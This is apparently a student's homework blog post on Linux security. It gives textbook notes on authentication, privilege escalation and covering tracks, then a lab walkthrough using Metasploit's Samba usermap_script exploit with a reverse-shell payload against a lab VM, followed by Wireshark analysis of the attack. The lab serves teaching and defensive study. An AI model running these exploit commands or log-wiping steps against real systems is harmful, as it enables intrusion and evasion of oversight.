20199124 2019-2020-2《网络攻防实践》第8周作业

20199124 2019-2020-2 《网络攻防实践》第8周作业

本次作业属于哪个课程 《网络攻防实践》
这个作业要求在哪里 第八次作业 Linux操作系统安全攻防
我在这个课程的目标是 学习Linux攻击方式与防御手段
这个作业在哪个具体方面帮助我实现目标 手动实现Linux攻击,分析Linux攻击过程
作业正文 见下文1、2、3、4部分
其他参考文献

一、实践内容


1. Linux操作系统基本框架


​ Linux是是在开放源代码运动中从UNIX操作系统演化出来的一个新成员,如今,他最大的优势在于开源和免费:开源吸引许多人员在,Linux社区开发推出新技术;免费给他带来更多的用户。除此之外,他还具有跨平台的硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能等优势。

Linux系统结构

​ Linux操作系统的结构包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境,并包含数于种从办公包、编译器、文本编辑器、科学工具到网络服务的应用软件。Linux的系统结构图如下。

•Linux进程与线程管理机制:多个进程并发活动,多线程编程,由内核的进程管理模块来负责调度硬件资源进行使用。

• Linux的内存管理机制:Linux内存管理模块允许多个进程安全地共享物理内存区域,内存管理模块为进程提供内存分配、内存回收、请求分页和交换页等系统调用服务。

• Linux的文件系统管理机制:Linux内核使用了虚拟文件管理VFS 机制,支持数十种不同的文件系统,但却为用户进程提供了一组通用的文件系统调用函数。

• Linux的设备控制机制:Linux中的设备驱动程序是用来管理硬件设备,对待所有的硬件设备都想对待常规文件一样,Linux支持三类硬件设备: 字符设备、块设备和网络设备。

• Linux的网络机制:Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持,

•Linux的系统调用机制:Linux提供了系统调用接口,使用户态的程序通过这些接口来使用硬件设备等资源,系统调用通过软中断实现,程序执行调用命令产生终端,使CPU切换到内核态处理调用,结束后再切换回用户态。


2. Linux操作系统安全机制


2.1 Linux身份认证机制

​ Linux是一个多用户多任务的操作系统,通过创建多种角色类型的用户及用户组来实施用户身份管理

用户:Linux的用户有三种类型,root用户、普通用户、系统用户,其中root用户使系统中拥有之高无上限权的用户,使许多攻击者的终极目标。Linux的用户信息保存在系统的/etc/passwd文件里。

用户组:用户组使具有多个相同特征的用户集合,提高了用户管理的效率。

本地登录用户认证机制:用户在控制台登录的认证过程是Linux系统最基本的用户认证机制。登录进程通过Crypt()函数对用户口令验证。用户设置密码时,会随机产生一个salt,口令与salt一起加密,生成的字符串存放在shadow文件中,用户登录时,Crypt()函数会将用户输入口令与salt值一起来加密,得到一个加密字符串,通过与保存的加密口令字进行对比,以确认用户身份是否真实。salt的长度为12个字符,加密算法有MD5、 blowfish> SHA-256和SHA-512等。

远程登录用户认证机制:Linux系统普遍使用SSH服务来进行远程用户登录与网络访问,明文传输口令与控制命令的rlogin. rsh和telnet已经淘汰了。SSH支持两种用户身份认证机制:基于口令的身份认证和基于非对称密钥的命份认证,后者安全性更高一些.

Linux的统一身份认证中间件——PAM:Linux系统中提供了PAM给不同的应用软件、网络服务提供统一的身份认证机制.PAM将系统提供的服务和该服务的认证方式分开,使得管理员可以给不同的服务配置不同的认证方式而无须更改服务程序,同时添加心得认证手段也变得方便.PAM支持的四种管理界面——认证管理、账户管理、密码管理、会话管理。

2.2 Linux授权与访问控制机制

​ 在Linux系统中一切皆为文件,于是授权与访问机制变得简单,所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现。主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。

文件的所有者:顾名思义,用户创建文件时,文件系统将自动设置新文件的所何者及其所在组,并自动地赋予文件所有者读/写的权限。

文件的访问权限:文件的访问权限通过所附带的10个标志位来进行设置,使用ls-1命令枚举当前目录的全部文件及其详细信息,第1个标志位一般用来区分文件类型,2-4位表示文件所有者,5-7位表示与所有者同组的用户,8-10位表示其他用户对该文件的读(R)、 写(W)、执行权限(X)。

文件的特殊执行权限:在Linux系统文件访问权限的执行位上,有一类特殊的执行权限,常见的是SUID与SG1D权限。SUID权限允许可执行文件在运行时刻从运行者的身份提升至文件所有者权限,设置了SUID位的文件所有者为Root等特权用户时,那么这类程序就拥有了超级特权,若这类程序存在漏洞,那就完蛋了;设置了SGID位的程序执行时是以所有者的组的权限进行运行。

Linux访问控制机制的不足及改进:只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,而无法做到更细粒度的权限控制。

2.3 Linux安全审计机制

Linux的安全审计机制则主要通过三个主要的日志子系统来实现,包括如下:

1.连接时间日志:由多个程序执行,把记录写入到/var/log/wtmp和/var/run/utmp, login 等用户登录程序负责更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。

2.进程统计U志:由系统内核执行,当一个进程终止时,为每个进程往进程统计文件 (pacct或acct)中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。

3.错误日志记录,由通用的日志记录服务syslogd (8)执行,各种系统守护进程、用 户程序和内核通过syslog向文件/var/log/messages报告值得注意的事件。


3 Linux系统远程攻防技术


3.1 Linux远程口令字猜测攻击

​ Linux系统主要支持telnet、rlogin、rsh和SSH协议的网络远程控制,这些协议使用了Linux系统内置的用户名和口令来对远程用户进行身份认证。攻击者通过各种手段获得用户账户名,接下来就可以猜测其口令,特别时只针对一些弱口令,字典攻击、暴力破解等方式。同时,支持攻击者进行自动化的远程口令猜测工具非常多,例如:Brutus、THC Hydra、Cain and Abel。

​ 针对远程口令猜测攻击的最佳防御措施就是使用不易猜中的强口令字,初次之外还可以实施一下措施:

·确保每个用户都有自己的有效账户和口令字,而不是都使用一个Root特权账户来进行登录和管理,避免使用容易猜测的用户名;

·对于特权账户应避免直接远程登录;

·对多次认证失败进行记录,并在多次无效登录之后断掉连接

·不要在自己可登录的每个系统上都使用相同的口令字

·使用一些口令猜测攻击检测与防御软件

·使用Linux防火墙IPTables来限制SSH等易受远程口令猜测攻击网络服务的访问源 IP地址范围

3.2 Linux网络服务远程渗透攻击

Linux系统安全漏洞、渗透攻击与补丁更新过程

​ Linux则采用了独创性的“集市”开发模式,由开源社区中的程序员来共同开发和维护Linux内核、应用软件与网络服务,然后由一些企业和团队基于这些核心代码组装并推出不同的发行版,以开源免费的方式提供给大众。这一开发方式是一把双刃剑,一方面,黑客们可以直接分析源码,也可以借助工具的力量,漏洞挖掘变得方便,且发现的漏洞不一定第一时间报告给软件开发团队;另一方面,开发的模式使得Linux系统有大量的源码提供者,负责任的黑客们甚至可以直接向开发团队贡献安全漏洞的源码修补补丁,使得漏洞可以很快被修复。

Linux内核中的网络协议栈实现

​ Linux内核中的网络协议栈实现是每个网络服务所依赖的基础平台,因此一旦这些代码中存在具有远程代码执行危害后果的安全漏洞,那么无论该Linux系统开放何种服务,都可以被攻击者进行远程渗透攻击。典型的漏洞为SCTP协议实现中的远程溢出安全漏洞。

LAMP Web网站构建解决方案中的网络服务

​ LAMP (Linux/Apache/MySQL/PHP)是目前最为流行的Web网站构建解决方案,以 Linux操作系统作为网站服务器运行平台,Apache提供基于HTTP/HTTPS的网页服务, MySQL数据库管理系统作为Web应用程序的后台数据存储,而以PHP语言来开发与实现 Web应用程序。但是后三个组成部分均存在可以被利用渗透的漏洞,且可以使用Metasploit进行渗透攻击。

FTP、Samba等文件共享服务

​ Linux系统支持多种不同的文件共享服务协仪,如FTP服务、Samba服务。

​ FTP服务已经被安全社区认为是极不安全的,FTP服务器软件如wu-ftpd、ProFTPD都存在严重的安全漏洞,比较可靠的是vs-ftpd。

​ Samba是用来让Linux等类UNIX的操作系统与微软的Windows系统SMB/CIFS 络协议相连接的网络服务,Samba服务极其复杂,因此安全漏洞也层出不穷。

电子邮件收发服务

Linux系统上最流行的电了邮件收发服务是Sendmail,这个服务虽然漏洞层出不穷,但是在Linux邮件收发服务的头等地位却也屹立不倒。

安全防范措施

·禁用所有不必要的网络服务

·尽量选择更安全的网络协议与服务软件,并使用最佳安全实践进行部署

·及时更新网络服务版本

·使用xinetd防火墙为Linux网络服务添加网络访问控制机制

·建立入侵检测与应急响应计划流程

3.3攻击Linux客户端程序和用户

攻击Linux平台上的客户端程序

Linux系统平台上最流行的Web浏览器Firefox和电子邮件客户端Thunderbird,两者都来自于Mozilla基金会,且存在去多安全漏洞,由于来自一家公司,其中一方的漏洞常常也在另一方存在。

攻击Linux系统用户

​ 攻击者往往还会通过对服务器管理员进行Google Hacking获取管理员各方面的信息。例如,在电子邮件、即时通信中设计一些应用社会工程学技巧的欺骗场景,来诱骗用户点击执行电子邮件附件或通过即时通信软件传输中的可执行程序或恶意文档,访问某些恶意网页地址。

​ 还有一种高风险高回报的手段,尝试攻陷一些常用的软件发行或分发站点,然后对站点上所提供的软件进行特洛伊本马化 。这使得软件使用者下载与更新这些软件时,也在他们的系统中安装和执行带有恶意功能的特洛伊本马程序。

安全防范措施

保证常用的网络客户端软件 的及时更新

了解各种社会工程学技术也将有助于用户提高自身身的抗欺骗能力

针对特洛伊本马化的攻击,软件发行站点尽量在不同的网络位置提供软件发行版下载和下载文件的MD5校验值,用户应该养成对每个下载软件进行MD5 完整性与真实性校验之后再进行安装运行的好习惯。

3.4攻击Linux路由器和监听器

​ Linux系统主机在安装一些网络嗅探工具,防火墙,网络入侵检测工具之后,往往可以作为安全设备或者网络,但可惜的是这些工具也是存在漏洞的,这就使得攻击者可以使用这些漏洞绕过防火墙、监听器等工具对安全设备进行控制。

攻击Linux路由器与防火墙

​ Linux系统通过简单地配置“ip_forward=l”就能够以路由器模式运行,Linux内核中由net 子系统的route.c来主要实现路由器的地址与数据包的转发功能,而一旦这些实现中存在漏洞,就可能被攻击者利用实施拒绝服务攻击。

攻击监听器&入侵检测器

​ Linux系统上用来实施监听与入侵检测的主流开源软件包括Libpcap抓包库、tcpdump 命令行程序、Wireshark网络监听与协议分析软件、Snort入侵检测系统。其中Libpcap抓包库非常安全;tcpdump存在着大量拒绝服务、缓冲区溢出和本地特权提升漏洞;Wireshark软件上的安全漏洞数量众多,在OSVDB中可以列举出上百个;Snort本身实现和设计中也存在着一些安全漏洞与缺陷。

​ 真的是没有绝对安全啊!!

安全防范措施

·对于所维护网络中的设备,应及时关注厂商的安全威胁报告,并对已发现的安全问题进行修补;

·管理员在在构建网络的安全防御、 检测与相应体系时,要学会站在攻击者角度,掌握攻击者的渗透入侵技术于段,并尝试进行渗透攻击测试;

·关注所使用的各种安全设备与软件自身的安全性,看他们是否存在公开已知的安全漏洞与弱点,并进行及时的修补。


4. Linux系统本地安全攻防技术


4.1 Linux本地特权提升

​ 攻击者在利用远程渗透攻击技术在Linux系统上获得访问权之后,就开始转入本地攻击,首要任务就是把获得的用户权限提升至Root,提权攻击可以分为4种:破解出Root用户的口令、发掘并利用su或sudo程序中的安全漏洞、直接攻击具有Root特权程序中的任意代码执行漏洞、利用系统中的一些配置不当。

Linux用户口令字破解

​ /etc/shadow文件记录着Linux 系统中一个用户账户的登录认证密文信息,格式如下:

登录名:口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间

​ 最种要的是口令这个字段,回使用“$“作为分隔符,分别记录了口令算法编号,salt值和加密后的口令哈希值。使用算法包括缺省的DES经典加密算法、MD5哈希算法($1)、Blowfish加密算法($2或$2a)和SHA哈希算法($5或$6), salt值长度随算法不同从2〜12字若不等,口令哈希值的具体长度也取决于所使用的不同加密算法,这些措施使得攻击者通过暴力破解攻击破解口令事很难得,但是攻击能够成功得原因在于用户设置得口令太弱。

​ Linux系统上进行口令字破解的经典软件工具是John the Ripper

利用sudo的缺陷进行特权提升

​ Su/sudo命令程序是Linux系统上进行用户权限合法提升的标准途径,当正常使用sudo时,用户会被要求身份认证,通常被要求输入口令。在2011年发现的sudo程序漏洞,使得一个本地攻击者能够使用“sudo -g”命令在变更gid时绕过身份认证机制,从而轻易地将自身用户账户所在组变更为特权用户组。

利用用户态SUID程序漏洞进行特权提升

​ Limix系统中用户态带有SUID特殊权限位的软件是本地特权提升攻击最要的目标对象之一。利用SUID进行攻击得答题过程是,在运行具有SUID特权程序时,普通用户的限权突然”灵魂出窍“变得于文件所有者权限一样了,如果该文件的所有者事Root,那么这期间你是“无敌”的,所以一旦具有SUID特权的程序中存在安全漏洞,那么情况就不妙了。

​ 由于Linux系统中具有SUID位的软件和程序数量比较庞大,其中被发现的安全漏洞也多种多样并且数量众多,因此利用SUID特权程序中的安全漏洞实施特权提升也成为了攻击若的主要本地攻击渠道之一。

针对SUID程序的本地缓冲区溢出攻击

​ 缓冲区溢出攻击大多是以设置SUID权限位且所有者用户为Root的程序,从而能够在溢出之后通过向目标程序中注入攻击者恶意构造的攻击负载代码,以Root用户权限来执行命令给出Shell。

利用内核空间代码漏洞进行特权提升

​ 由于操作系统内核态代码拥有对系统的完整控制权,因此成为了攻击者实施本地特权提升非常重要的种渠道,Linux 内核代码始终随着各个Linux 发行版运行,一旦发现高危性特权提升漏洞,其影响范围与危害等级都是非常高的。

利用系统配置不当实施本地特权提升

​ 系统管理员的配置不当会造成系统存在很大的安全风险。常见的系统配置不当造成本地特权提升的主要隐患包括Root所有的SUID程序,以及全局可写的文件。

防范技术与措施

对于一些不必要设置SUID 特权的程序,应尽量地加以移除,而确实需要SUID特权的程序软件包,管理员应该更加 将其加入自己的优先关注列表;

更新Linux内核代码版本,对服务器进行升级维护;

安全地配置系统,避免引入诸如敏感位置全局可写文件等不安全的配置,并为特权用户账户设置强口令字;

Linux系统管理员还可以在所管理维护的Linux服务器中应用 SELinux等安全增强模块,来提升系统对抗入侵的防护水平。

4.2 Linux系统上的消踪灭迹

​ Linux系统的主要审计日志集中的/var/log目录下,主要由系统核心进程、syslogd与各个网络服务提供事件审计功能。攻击者在攻陷Linux系统之后,要清理系统上的日志记录,不给管理员留下入侵记录。

​ 攻击者要先改变当前活动的日志,然后再进行日志清理,如登录日志清理、shell程序命令记录等。

​ 应对日志清理攻击的一种方法途径是将日志信息写到难以修改的媒介上,或者使用syslog网络日志机制把关键的日志信息发送到另一台严密防护的安全日志服务器上去。

4.3 Linux系统远程控制后门程序

​ 攻击者千辛万苦得攻陷的Linux 服务器,在离开服务器之前,回植入远程控制后门程序,以便以后再次入侵。

​ Linux系统上植入远程控制后门程序的类型主要有:特洛伊本马化的系统程序、命令行后门工具以及图形化后门工具。

二、实践过程


使用Metasploit进行Linux远程渗透攻击


具体要求:

使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏 洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

  1. VI4/J Metasploit 软件,可根据个人喜好使用 msfconsole、msfgui、msfweb Z
  2. 使用 exploit: exploit/multi/samba/usermap_script 渗透攻击模块;
  3. 选择攻击PAYLOAD为远程Shell,(正向或反向连接均可);
  4. 设置渗透攻击参数(RHOST, LHOST, TARGET等);
  5. 执行渗透攻击;
  6. 查看是否正确得到远程Shell,并向看获得的权限。

操作过程:

1.使用命令msfconsole打开Metasploit,如果不知道使用什么渗透模块,可以使用search usermap_script 搜索一哈。当然搜出来也只有 exploit/multi/samba/usermap_scrip模块。

2.使用命令use exploit/multi/samba/usermap_scrip,进入模块,借着设置有效载荷set payload cmd/unix/reverse

3.从上一张图中可以看到我们需要使用设置靶机IP和攻击机IP,输入一下命令进行设置,执行````run```开始攻击。

set RHOSTS "192.168.200.8"
set LHOST "192.168.200.5"
run

4.成功得打开了一个窗口,使用sudo su命令经行提权,竟然还成功了,这……


攻防对抗实践


具体要求:

​ 攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机实施网 络攻击,防御方则在Metasploitatble上使用tcpdump或Wireshark或Snort 上具捕获攻击流, 并分析出攻击者利用了哪个安全漏洞进行攻击,从官方网站上下载该安全漏洞补丁进行系 统修补,双方合作给出攻防过程报告。

攻击方:使用Metasploit,选择Metasploitable靶机中发现的漏洞进行渗透攻击,获 得远程控制权,并尝试进一步获得Root权限。

防守方:使用tcpdump/wireshark/snort监听获得网络攻击的数据包文件,并结合 wireshark/snort分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、 攻击利用漏洞、使用Shellcode,以及成功之后在本地执行命令输入等信息。


操作过程:

攻击方:操作过程与实践一相同

防守方

1.使用Wireshark软件进行抓包,首先使用Wireshark得统计功能发现,攻击方IP是192.168.200.5,防守方IP是192.168.200.8。

2.对起初得TCP数据包追踪TCP数据流,可以发现使用得shellcode 。

3.继续攻击机发给那几得TCP数据包,可以看到攻击成功后攻击机执行得本地命令。

攻击机使用的端口为4444,靶机使用的端口是39152.


三、实践中遇到的问题



四、实践心得


上周学习了windows相关的攻击,打下了一定的基础,使得这周的学习变得轻松一些,对于两种系统上的网络攻击具体步骤一般都是:使用扫描工具对攻击对象的端口、和漏洞进行扫描,看有什么漏洞可以使用;选择好安全漏洞,就可以试实远程渗透攻击;获得主机的权限之后,便努力把自己的权限变得无敌,全方位控制靶机;离去之前要清除日志,留下后台系统。这一套流程下来,之前所学的的各种工具几乎都使用上了,感觉来了一个期中总结。

posted @ 2020-04-19 22:30  20199124-马璐瑶  Views(268)  Comments(0Edit  收藏  举报